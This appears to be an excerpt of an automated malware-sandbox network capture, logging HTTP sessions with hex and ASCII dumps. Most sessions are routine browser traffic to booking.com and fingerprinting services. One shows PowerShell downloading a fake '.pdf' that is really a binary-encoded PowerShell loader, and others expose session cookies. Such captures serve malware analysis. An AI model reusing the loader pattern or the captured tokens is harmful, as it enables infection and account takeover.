2024-11-02 13:00:27 UTC	7128	OUT	Data Raw: 6e 69 64 79 52 42 56 52 43 59 6c 69 68 52 73 62 53 2b 42 79 59 6f 31 77 47 67 78 5a 35 63 2b 47 77 2f 37 71 6b 6b 73 30 50 78 46 63 32 78 4f 33 63 39 41 4a 54 59 69 58 64 4d 6c 37 44 75 62 6b 53 52 4d 6e 69 39 4c 4e 32 4a 41 63 43 46 58 45 45 4c 66 55 69 6c 77 44 71 55 66 48 32 4e 51 2b 39 5a 4a 6b 48 66 6f 38 71 42 46 4f 34 55 73 36 64 6a 69 34 52 66 64 67 70 39 48 58 69 47 75 33 78 64 6b 39 2b 56 49 70 48 63 6c 6e 76 50 41 53 56 52 50 78 35 38 79 66 4b 72 4e 75 6f 63 47 2f 2f 78 39 6f 79 62 30 37 30 38 51 68 45 2b 78 33 2b 38 74 79 79 4b 61 38 57 67 6c 4f 35 52 68 70 47 38 6a 42 55 4e 7a 75 79 36 45 68 6c 67 4d 2f 38 62 5a 72 6a 68 5a 4c 6d 37 39 6e 44 44 58 33 38 70 6f 66 38 5a 37 5a 4d 6a 61 30 50 39 53 43 52 7a 46 39 44 76 6a 6f 77 6d 68 31 36 65 47 Data Ascii: nidyRBVRCYlihRsbS+ByYo1wGgxZ5c+Gw/7qkks0PxFc2xO3c9AJTYiXdMl7DubkSRMni9LN2JAcCFXEELfUilwDqUfH2NQ+9ZJkHfo8qBFO4Us6dji4Rfdgp9HXiGu3xdk9+VIpHclnvPASVRPx58yfKrNuocG//x9oyb0708QhE+x3+8tyyKa8WglO5RhpG8jBUNzuy6EhlgM/8bZrjhZLm79nDDX38pof8Z7ZMja0P9SCRzF9Dvjowmh16eG
2024-11-02 13:00:27 UTC	268	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 02 Nov 2024 13:00:27 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close cv: 1 access-control-allow-origin: * access-control-allow-credentials: true access-control-expose-headers: cv
2024-11-02 13:00:27 UTC	2468	IN	Data Raw: 39 39 38 0d 0a 50 32 34 74 39 6a 4f 37 44 45 47 58 73 6e 48 66 63 79 79 4e 47 61 4a 44 57 5a 2f 72 78 6a 5a 4c 76 37 71 59 47 59 42 65 75 46 35 6c 6a 48 79 4c 6d 75 48 79 56 49 46 73 73 30 4d 55 6c 77 54 71 64 4f 44 79 38 4d 49 39 44 74 51 30 4f 55 57 37 6a 76 55 30 7a 78 78 54 47 6b 59 49 75 31 45 6d 57 43 37 6a 7a 4e 6b 65 50 72 38 51 69 41 75 64 34 75 42 4b 49 6b 4e 63 49 71 53 47 38 4d 72 43 77 6d 64 76 63 70 51 45 46 79 39 68 51 36 34 45 6e 4d 71 32 71 33 79 53 79 68 74 58 79 6b 37 55 71 48 2b 58 31 37 72 39 6c 69 75 4f 2b 4c 42 41 71 31 7a 65 34 2b 50 67 67 70 45 71 78 4b 65 6f 67 53 41 2f 6f 6e 4c 32 35 77 46 69 67 39 6a 31 36 37 69 5a 30 79 4d 44 77 36 52 4d 33 53 4b 74 63 35 32 38 6d 76 45 67 6c 75 70 74 5a 38 34 6f 65 79 53 32 44 33 46 57 33 78 Data Ascii: 998P24t9jO7DEGXsnHfcyyNGaJDWZ/rxjZLv7qYGYBeuF5ljHyLmuHyVIFss0MUlwTqdODy8MI9DtQ0OUW7jvU0zxxTGkYIu1EmWC7jzNkePr8QiAud4uBKIkNcIqSG8MrCwmdvcpQEFy9hQ64EnMq2q3ySyhtXyk7UqH+X17r9liuO+LBAq1ze4+PggpEqxKeogSA/onL25wFig9j167iZ0yMDw6RM3SKtc528mvEgluptZ84oeyS2D3FW3x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49882	192.225.158.1	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	718	OUT	GET /hxAjaYtkzhmJ4xhO?b2df2a9cac3c3b57=qljv74WQos3wQSAN0LWbf_4UmPvhbv1sGLvb_J26stRA1oUpfez7ZHFlRSSkzEgvHgdxekIYtc2y7FP0w1ZyJYHFnw8uK0a6zXMvuDZ_M6HH14Ry96NkwKda-PfYd1i_NrszxDmUzeV7hHeSy8CvWnjPFcgCS_p5 HTTP/1.1 Host: h64.online-metrix.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:27 UTC	362	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:27 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 0 Content-Type: text/javascript

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49881	91.235.132.130	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	731	OUT	GET /Nlzev3tt5u_xEjFI?8ad7837480fab059=PTlHpp3RVAHRveEKY0b3hZsg0vpXlvmDfAtub0ndu56Q41J7y5SMC3BmagQNYRL-7mrqiyZgKKbDXxmIcOAcSZJXNPkVectc4KskHGf9rWvwIWI0o8Jk3IFveYG7iVxyJJaLBprPwR11xjmFz6qvVs3rEllwDRzZTuX8GGus2RUTIHQ HTTP/1.1 Host: h.online-metrix.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:27 UTC	544	IN	HTTP/1.1 302 Found Date: Sat, 02 Nov 2024 13:00:27 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Set-Cookie: thx_global_guid=311c333d17b541fa8bf0c9616aaaffc4; Max-Age=155520000; Version=1; HttpOnly; Path=/; Secure; SameSite=None; P3P: CP=IVAa PSAa Location: https://h.online-metrix.net/Nlzev3tt5u_xEjFI?ecf81c17203e4f6e=PTlHpp3RVAHRveEKY0b3hZsg0vpXlvmDfAtub0ndu56Q41J7y5SMC3BmagQNYRL-7mrqiyZgKKbDXxmIcOAcSZJXNPkVectc4KskHGf9rWvwIWI0o8Jk3IFveYG7iVxyJJaLBl3zCiQlUv0bG2_TB-WlA3s&k=2 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49879	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	1502	OUT	GET /IEThGZCf03EamIVs?1ccc74c0c8e2c8fe=afnFr4BHYAOWDetExnnLQmpIZQG3eeXLO3bguj3Cq2dR-hwj1K0Mu627RpoG6ehpJh9VNeDIHMolMM1D7XkO0Iye1Q93r1pFy6hYk0lryHkLAZQlUvPpZa9S5-NnRgV7NTexO7h6_uVDYiNS7iWQzw HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
2024-11-02 13:00:27 UTC	420	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:27 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-11-02 13:00:27 UTC	140	IN	Data Raw: 38 36 0d 0a 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 35 37 31 38 46 41 42 42 30 30 32 45 22 2c 22 41 41 7a 65 70 45 38 69 72 6d 64 4e 64 61 74 4c 73 34 75 78 5a 54 61 39 5a 70 6b 65 68 71 68 4c 4e 75 4e 62 67 62 72 44 6e 72 73 6e 64 71 57 78 6a 38 47 4a 75 75 53 77 52 4a 75 46 30 4b 68 65 36 45 59 55 78 4b 59 4a 43 6a 45 63 43 4a 55 59 45 79 48 43 4f 6b 6d 4b 56 5f 69 72 37 51 22 29 3b 0d 0a Data Ascii: 86localStorage.setItem("5718FABB002E","AAzepE8irmdNdatLs4uxZTa9ZpkehqhLNuNbgbrDnrsndqWxj8GJuuSwRJuF0Khe6EYUxKYJCjEcCJUYEyHCOkmKV_ir7Q");
2024-11-02 13:00:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49880	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	1589	OUT	GET /AQL5SM1NVAqeb4XN?4aed018665df677a=c2qMIlWahQb2QgdDVhil6KSN8n-LtiVi2t4HZwq8njEC8ZIGdL5XBhfh9_yKY74sZdOLoHptvp8dNXi8Uczsd-sN1mheva74QIkDd0fUyKlsYR8hhCHU81JwAcmOF5Epq0vqnLO4h4w10WHbs8Wl1HIA_Wo&jb=3336266e73613f3331313434346c663735383e346c66346a3d3165353b3a383562643067653666 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
2024-11-02 13:00:27 UTC	362	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:27 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 0 Content-Type: text/javascript

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49883	24.152.39.120	443	4592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	157	OUT	GET /license/2/1tronps1.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: skynetx.com.br
2024-11-02 13:00:27 UTC	213	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:25 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 16:30:11 GMT Accept-Ranges: bytes Content-Length: 12153 Connection: close Content-Type: application/pdf
2024-11-02 13:00:27 UTC	7979	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6c 6f 72 61 6d 79 72 61 20 7b 0d 0a 20 20 20 20 70 61 72 61 6d 20 28 0d 0a 20 20 20 20 20 20 20 20 5b 50 61 72 61 6d 65 74 65 72 28 4d 61 6e 64 61 74 6f 72 79 20 3d 20 24 74 72 75 65 2c 20 56 61 6c 75 65 46 72 6f 6d 50 69 70 65 6c 69 6e 65 20 3d 20 24 74 72 75 65 29 5d 0d 0a 20 20 20 20 20 20 20 20 5b 56 61 6c 69 64 61 74 65 4e 6f 74 4e 75 6c 6c 4f 72 45 6d 70 74 79 28 29 5d 0d 0a 20 20 20 20 20 20 20 20 5b 73 74 72 69 6e 67 5d 24 42 69 6e 61 72 79 49 6e 70 75 74 0d 0a 20 20 20 20 29 0d 0a 0d 0a 20 20 20 20 2d 6a 6f 69 6e 20 28 24 42 69 6e 61 72 79 49 6e 70 75 74 20 2d 73 70 6c 69 74 20 27 28 3f 3c 3d 5c 47 2e 7b 38 7d 29 27 20 7c 20 57 68 65 72 65 2d 4f 62 6a 65 63 74 20 7b 20 24 5f 2e 4c 65 6e 67 74 68 20 2d 65 71 20 38 20 7d Data Ascii: function loramyra { param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [ValidateNotNullOrEmpty()] [string]$BinaryInput ) -join ($BinaryInput -split '(?<=\G.{8})' \| Where-Object { $_.Length -eq 8 }
2024-11-02 13:00:27 UTC	4174	IN	Data Raw: 30 30 30 30 30 31 30 31 30 30 30 30 31 30 30 30 31 31 31 30 31 31 30 30 31 30 31 30 31 31 31 30 31 30 30 30 30 31 30 31 31 30 31 30 31 30 30 30 30 31 31 30 31 31 30 31 31 31 31 30 31 31 30 31 31 31 30 30 31 31 31 30 31 30 30 30 31 31 30 30 31 30 31 30 31 31 30 31 31 31 30 30 31 31 31 30 31 30 30 30 30 31 30 30 30 30 30 30 30 31 30 31 31 30 31 30 31 30 31 30 30 30 30 30 31 31 30 30 30 30 31 30 31 31 31 30 31 30 30 30 31 31 30 31 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 31 30 30 31 30 30 30 30 31 31 30 30 31 31 31 30 31 30 30 31 30 31 31 31 30 30 30 31 30 31 30 31 30 31 30 31 31 31 30 30 31 31 30 31 31 30 30 31 30 31 30 31 31 31 30 30 31 30 30 31 31 31 30 30 31 31 30 31 30 31 31 31 30 30 30 31 30 31 30 30 30 30 30 31 31 31 30 31 30 31 30 31 31 30 Data Ascii: 000001010000100011101100101011101000010110101000011011011110110111001110100011001010110111001110100001000000010110101010000011000010111010001101000001000000010001001000011001110100101110001010101011100110110010101110010011100110101110001010000011101010110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49884	13.227.219.65	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	410	OUT	GET /d8c14d4960ca/c2181391033f/challenge.js HTTP/1.1 Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:28 UTC	572	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 1099135 Connection: close Date: Sat, 02 Nov 2024 13:00:27 GMT x-amzn-waf-challenge-id: Root=1-6726226b-2fcd3763203831110979cbf0 cache-control: private, max-age=86400, stale-while-revalidate=604800 last-modified: Sat, 2 Nov 2024 13:00:27 +0000 pragma: no-cache expires: 0 X-Cache: Miss from cloudfront Via: 1.1 80826ca6c4fd6005aeacf5a03c8d42e8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS54-C1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: UfhEp76FLg7aT5pSbe_euOwi6THajyvUkh8rSoZF7Ecoi5ksSGWYPQ==
2024-11-02 13:00:28 UTC	7842	IN	Data Raw: 76 61 72 20 61 30 5f 30 78 34 39 62 37 3d 5b 27 4d 41 58 5f 41 47 45 5f 53 45 43 4f 4e 44 53 27 2c 27 7b 32 38 33 38 30 37 42 35 2d 32 43 36 30 2d 31 31 44 30 2d 41 33 31 44 2d 30 30 41 41 30 30 42 39 32 43 30 33 7d 27 2c 27 73 74 61 72 74 44 65 63 72 79 70 74 69 6e 67 27 2c 27 73 69 67 6e 65 64 44 61 74 61 56 61 6c 69 64 61 74 6f 72 27 2c 27 43 6f 75 6c 64 5c 78 32 30 6e 6f 74 5c 78 32 30 63 6f 6d 70 75 74 65 5c 78 32 30 63 65 72 74 69 66 69 63 61 74 65 5c 78 32 30 64 69 67 65 73 74 2e 5c 78 32 30 55 6e 6b 6e 6f 77 6e 5c 78 32 30 6d 65 73 73 61 67 65 5c 78 32 30 64 69 67 65 73 74 5c 78 32 30 61 6c 67 6f 72 69 74 68 6d 5c 78 32 30 4f 49 44 2e 27 2c 27 4c 65 66 74 6d 6f 73 74 5c 78 32 30 6f 63 74 65 74 73 5c 78 32 30 6e 6f 74 5c 78 32 30 7a 65 72 6f 5c 78 Data Ascii: var a0_0x49b7=['MAX_AGE_SECONDS','{283807B5-2C60-11D0-A31D-00AA00B92C03}','startDecrypting','signedDataValidator','Could\x20not\x20compute\x20certificate\x20digest.\x20Unknown\x20message\x20digest\x20algorithm\x20OID.','Leftmost\x20octets\x20not\x20zero\x
2024-11-02 13:00:28 UTC	16384	IN	Data Raw: 61 70 52 73 61 50 72 69 76 61 74 65 4b 65 79 27 2c 27 4f 43 52 5c 78 32 30 41 5c 78 32 30 45 78 74 65 6e 64 65 64 27 2c 27 54 61 68 6f 6d 61 27 2c 27 70 75 62 6c 69 63 4b 65 79 45 78 70 6f 6e 65 6e 74 27 2c 27 73 65 74 41 74 74 72 69 62 75 74 65 73 27 2c 27 43 4f 4c 4c 45 43 54 4f 52 53 27 2c 27 45 72 61 73 5c 78 32 30 42 6f 6c 64 5c 78 32 30 49 54 43 27 2c 27 43 6f 75 6c 64 5c 78 32 30 6e 6f 74 5c 78 32 30 70 61 72 73 65 5c 78 32 30 63 65 72 74 69 66 69 63 61 74 65 5c 78 32 30 6c 69 73 74 2e 27 2c 27 68 61 6e 64 6c 65 46 69 6e 69 73 68 65 64 27 2c 27 61 70 70 6c 79 27 2c 27 33 37 74 79 79 50 4f 56 27 2c 27 6d 65 73 73 61 67 65 4c 65 6e 67 74 68 27 2c 27 5c 78 32 30 28 55 54 46 38 29 27 2c 27 49 6e 76 61 6c 69 64 5c 78 32 30 4b 65 79 2e 27 2c 27 64 65 72 Data Ascii: apRsaPrivateKey','OCR\x20A\x20Extended','Tahoma','publicKeyExponent','setAttributes','COLLECTORS','Eras\x20Bold\x20ITC','Could\x20not\x20parse\x20certificate\x20list.','handleFinished','apply','37tyyPOV','messageLength','\x20(UTF8)','Invalid\x20Key.','der
2024-11-02 13:00:28 UTC	9730	IN	Data Raw: 32 30 6f 72 5c 78 32 30 27 2c 27 5c 78 32 32 2c 5c 78 32 30 74 79 70 65 5c 78 32 30 5c 78 32 32 27 2c 27 73 65 74 75 70 56 42 53 63 72 69 70 74 27 2c 27 43 65 72 74 42 61 67 2e 63 65 72 74 56 61 6c 75 65 5b 30 5d 27 2c 27 6d 6f 64 49 6e 76 65 72 73 65 27 2c 27 4e 69 61 67 61 72 61 5c 78 32 30 45 6e 67 72 61 76 65 64 27 2c 27 54 68 72 6f 74 74 6c 65 72 27 2c 27 70 65 6d 54 6f 44 65 72 27 2c 27 70 6f 70 27 2c 27 63 72 65 61 74 65 42 75 66 66 65 72 27 2c 27 68 61 6e 64 6c 65 43 65 72 74 69 66 69 63 61 74 65 56 65 72 69 66 79 27 2c 27 63 68 61 6c 6c 65 6e 67 65 50 61 73 73 77 6f 72 64 27 2c 27 63 65 72 74 69 66 69 63 61 74 65 46 72 6f 6d 50 65 6d 27 2c 27 4d 6f 6e 6f 73 70 61 63 38 32 31 5c 78 32 30 42 54 27 2c 27 70 72 6f 66 69 6c 65 27 2c 27 5c 78 32 30 62 Data Ascii: 20or\x20','\x22,\x20type\x20\x22','setupVBScript','CertBag.certValue[0]','modInverse','Niagara\x20Engraved','Throttler','pemToDer','pop','createBuffer','handleCertificateVerify','challengePassword','certificateFromPem','Monospac821\x20BT','profile','\x20b
2024-11-02 13:00:28 UTC	16384	IN	Data Raw: 5c 78 32 30 53 74 64 27 2c 27 3b 5c 78 32 30 63 68 65 63 6b 73 75 6d 3a 5c 78 32 30 27 2c 27 68 6d 61 63 27 2c 27 61 64 64 4c 6f 67 67 65 72 27 2c 27 55 6e 73 75 70 70 6f 72 74 65 64 5c 78 32 30 63 65 72 74 69 66 69 63 61 74 65 2e 27 2c 27 72 65 70 6c 61 63 65 27 2c 27 6b 65 79 55 73 61 67 65 52 65 73 74 72 69 63 74 69 6f 6e 27 2c 27 46 75 6e 63 74 69 6f 6e 5c 78 32 30 64 41 58 50 28 6e 2c 5c 78 32 30 76 29 5c 78 30 61 6f 6e 5c 78 32 30 65 72 72 6f 72 5c 78 32 30 72 65 73 75 6d 65 5c 78 32 30 6e 65 78 74 5c 78 30 61 73 65 74 5c 78 32 30 6f 5c 78 32 30 3d 5c 78 32 30 43 72 65 61 74 65 4f 62 6a 65 63 74 28 76 29 5c 78 30 61 49 66 5c 78 32 30 49 73 4f 62 6a 65 63 74 28 6f 29 5c 78 32 30 54 68 65 6e 5c 78 30 61 53 65 6c 65 63 74 5c 78 32 30 63 61 73 65 5c 78 Data Ascii: \x20Std',';\x20checksum:\x20','hmac','addLogger','Unsupported\x20certificate.','replace','keyUsageRestriction','Function\x20dAXP(n,\x20v)\x0aon\x20error\x20resume\x20next\x0aset\x20o\x20=\x20CreateObject(v)\x0aIf\x20IsObject(o)\x20Then\x0aSelect\x20case\x
2024-11-02 13:00:28 UTC	16384	IN	Data Raw: 27 64 69 66 66 69 63 75 6c 74 79 27 2c 27 47 6f 74 68 69 63 45 27 2c 27 5f 5f 72 65 73 74 27 2c 27 38 33 35 4b 76 4d 4e 7a 43 27 2c 27 42 61 74 61 6e 67 27 2c 27 2f 61 2f 27 2c 27 52 65 63 69 70 69 65 6e 74 49 6e 66 6f 2e 69 73 73 75 65 72 41 6e 64 53 65 72 69 61 6c 2e 69 73 73 75 65 72 27 2c 27 65 78 70 69 72 65 73 3d 27 2c 27 61 75 74 68 6f 72 69 74 79 4b 65 79 49 64 65 6e 74 69 66 69 65 72 27 2c 27 73 65 72 76 65 72 5f 77 72 69 74 65 5f 6b 65 79 27 2c 27 41 45 53 2d 32 35 36 2d 43 42 43 27 2c 27 54 69 6d 65 73 5c 78 32 30 4e 65 77 5c 78 32 30 52 6f 6d 61 6e 5c 78 32 30 43 79 72 27 2c 27 63 6c 69 65 6e 74 43 65 72 74 69 66 69 63 61 74 65 27 2c 27 62 61 73 69 63 43 6f 6e 73 74 72 61 69 6e 74 73 27 2c 27 64 65 6c 74 61 58 27 2c 27 63 65 72 74 53 75 62 6a Data Ascii: 'difficulty','GothicE','__rest','835KvMNzC','Batang','/a/','RecipientInfo.issuerAndSerial.issuer','expires=','authorityKeyIdentifier','server_write_key','AES-256-CBC','Times\x20New\x20Roman\x20Cyr','clientCertificate','basicConstraints','deltaX','certSubj
2024-11-02 13:00:28 UTC	16384	IN	Data Raw: 29 5f 30 78 31 39 66 65 39 65 5b 5f 30 78 31 61 36 38 30 65 28 30 78 35 34 33 29 5d 28 5f 30 78 31 65 39 65 33 65 5b 5f 30 78 35 34 63 66 30 65 5d 29 3c 30 78 30 26 26 4f 62 6a 65 63 74 5b 5f 30 78 31 61 36 38 30 65 28 30 78 36 34 62 29 5d 5b 27 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 27 5d 5b 5f 30 78 31 61 36 38 30 65 28 30 78 32 34 38 29 5d 28 5f 30 78 34 65 61 66 62 30 2c 5f 30 78 31 65 39 65 33 65 5b 5f 30 78 35 34 63 66 30 65 5d 29 26 26 28 5f 30 78 34 38 38 34 35 61 5b 5f 30 78 31 65 39 65 33 65 5b 5f 30 78 35 34 63 66 30 65 5d 5d 3d 5f 30 78 34 65 61 66 62 30 5b 5f 30 78 31 65 39 65 33 65 5b 5f 30 78 35 34 63 66 30 65 5d 5d 29 3b 7d 72 65 74 75 72 6e 20 5f 30 78 34 38 38 34 35 61 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 36 Data Ascii: )_0x19fe9e[_0x1a680e(0x543)](_0x1e9e3e[_0x54cf0e])<0x0&&Object[_0x1a680e(0x64b)]['propertyIsEnumerable'][_0x1a680e(0x248)](_0x4eafb0,_0x1e9e3e[_0x54cf0e])&&(_0x48845a[_0x1e9e3e[_0x54cf0e]]=_0x4eafb0[_0x1e9e3e[_0x54cf0e]]);}return _0x48845a;}function _0x26
2024-11-02 13:00:28 UTC	16384	IN	Data Raw: 74 68 69 73 5b 5f 30 78 32 38 34 62 32 65 5b 30 78 32 5d 5d 5b 5f 30 78 32 31 61 37 30 30 5d 3b 72 65 74 75 72 6e 20 5f 30 78 32 38 34 62 32 65 5b 30 78 36 5d 5e 5f 30 78 35 32 37 31 37 61 3b 7d 2c 5f 30 78 31 66 66 30 66 31 5b 5f 30 78 33 32 61 36 33 35 5b 30 78 30 5d 5d 3d 5f 30 78 33 32 61 36 33 35 5b 30 78 36 5d 2c 5f 30 78 31 66 66 30 66 31 3b 7d 28 29 3b 5f 30 78 35 37 35 66 64 33 5b 5f 30 78 33 36 63 61 34 35 28 30 78 61 38 33 29 5d 3d 5f 30 78 31 33 35 33 64 33 3b 7d 2c 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 62 61 62 32 62 2c 5f 30 78 31 36 65 39 37 61 2c 5f 30 78 33 63 37 32 34 39 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 5f 30 78 31 31 31 63 37 64 3d 61 30 5f 30 78 33 62 31 62 3b 5f 30 78 31 36 65 39 37 61 5b 27 5f 5f 65 73 4d 6f Data Ascii: this[_0x284b2e[0x2]][_0x21a700];return _0x284b2e[0x6]^_0x52717a;},_0x1ff0f1[_0x32a635[0x0]]=_0x32a635[0x6],_0x1ff0f1;}();_0x575fd3[_0x36ca45(0xa83)]=_0x1353d3;},function(_0x2bab2b,_0x16e97a,_0x3c7249){'use strict';var _0x111c7d=a0_0x3b1b;_0x16e97a['__esMo
